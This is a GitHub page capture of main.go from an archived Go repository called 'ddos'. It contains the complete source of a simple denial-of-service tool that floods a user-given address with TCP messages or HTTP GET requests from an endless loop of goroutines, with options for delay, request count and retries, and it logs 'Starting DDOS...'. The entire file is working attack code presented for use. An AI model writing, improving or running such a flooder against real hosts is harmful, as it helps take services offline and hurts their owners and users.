This repository has been archived by the owner on Feb 12, 2023. It is now read-only.
-
Notifications
You must be signed in to change notification settings - Fork 0
/
main.go
155 lines (130 loc) · 3.42 KB
/
main.go
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
package main
import (
"fmt"
"github.com/Streamer272/ddos/logger"
"github.com/Streamer272/ddos/options"
"io/ioutil"
"net"
"net/http"
"os"
"os/signal"
"regexp"
"strings"
"syscall"
"time"
)
const (
HttpMessage = "GET / HTTP/1.1\n"
SocketMessage = "abcdefghijklmnopqrstuvwxyz1234567890"
)
func ddos(opt options.Options) error {
if opt.ForceHttps {
_, err := http.Get(opt.Address)
if err != nil {
return err
}
return nil
}
conn, err := net.Dial("tcp", opt.Address)
if err != nil {
return err
}
message := ""
if opt.Message != "" {
message = opt.Message
} else {
if opt.Http {
message = HttpMessage
} else {
message = SocketMessage
}
}
_, err = fmt.Fprintf(conn, "%v\n", message)
if err != nil {
return err
}
return nil
}
func fixAddress(opt options.Options, log logger.Logger) string {
protocolMatch, err := regexp.MatchString("https?://.*", opt.Address)
if err != nil {
log.Log("ERROR", fmt.Sprintf("Couldn't match regex, %v...", err), true)
}
if opt.ForceHttps && !protocolMatch && err == nil {
log.Log("WARN", fmt.Sprintf("%v does not have protocol, using https://", opt.Address), true)
opt.Address = "https://" + opt.Address
}
if !strings.Contains(opt.Address, ":") {
log.Log("WARN", fmt.Sprintf("%v does not contain port, using 80...", opt.Address), true)
opt.Address = opt.Address + ":80"
}
return opt.Address
}
func main() {
opt := options.Parse()
log := logger.NewLogger(opt)
currentRetryCount := 0
currentRequestCount := 0
// warnings
if opt.Delay <= 0 {
log.Log("WARN", "Undefined delay may cause system to lag...", true)
}
if opt.OutputFile != "" && !strings.HasSuffix(opt.OutputFile, ".log") {
outputFileSplit := strings.Split(opt.OutputFile, ".")
log.Log("WARN", fmt.Sprintf("Recommended extension for output file is .log, has .%v...", outputFileSplit[len(outputFileSplit)-1]), true)
}
opt.Address = fixAddress(opt, log)
// errors
err := ddos(opt)
if err != nil {
log.Log("ERROR", fmt.Sprintf("Couldn't run test-connect, error: %v...", err), true)
if !opt.IgnoreError {
os.Exit(1)
}
}
if opt.OutputFile != "" {
err := ioutil.WriteFile(opt.OutputFile, []byte(""), 0777)
if err != nil {
log.Log("ERROR", fmt.Sprintf("Couldn't rewrite file, %v...", err), false)
if !opt.IgnoreError {
os.Exit(1)
}
}
}
time.Sleep(time.Second)
log.Log("INFO", "Starting DDOS...", true)
exitMessage := make(chan string)
go func() {
for {
go func() {
err := ddos(opt)
if err != nil {
log.Log("WARN", fmt.Sprintf("%v", err), true)
if opt.MaxRetryCount <= 0 {
return
}
if currentRetryCount += 1; currentRetryCount > opt.MaxRetryCount {
exitMessage <- fmt.Sprintf("Reached max retry count (%v), exiting...", opt.MaxRetryCount)
}
} else {
log.Log("INFO", fmt.Sprintf("Successfully send packet to %v...", opt.Address), true)
}
if opt.RequestCount > 0 {
currentRequestCount++
if currentRequestCount >= opt.RequestCount {
exitMessage <- fmt.Sprintf("Request count reached (%v), exiting...", opt.RequestCount)
}
}
}()
time.Sleep(time.Millisecond * time.Duration(opt.Delay))
}
}()
go func() {
interruptSignal := make(chan os.Signal)
signal.Notify(interruptSignal, syscall.SIGINT, syscall.SIGKILL, syscall.SIGTERM)
<-interruptSignal
exitMessage <- "Interrupted by user, exiting..."
}()
exitMessageString := <-exitMessage
log.Log("INFO", exitMessageString, true)
}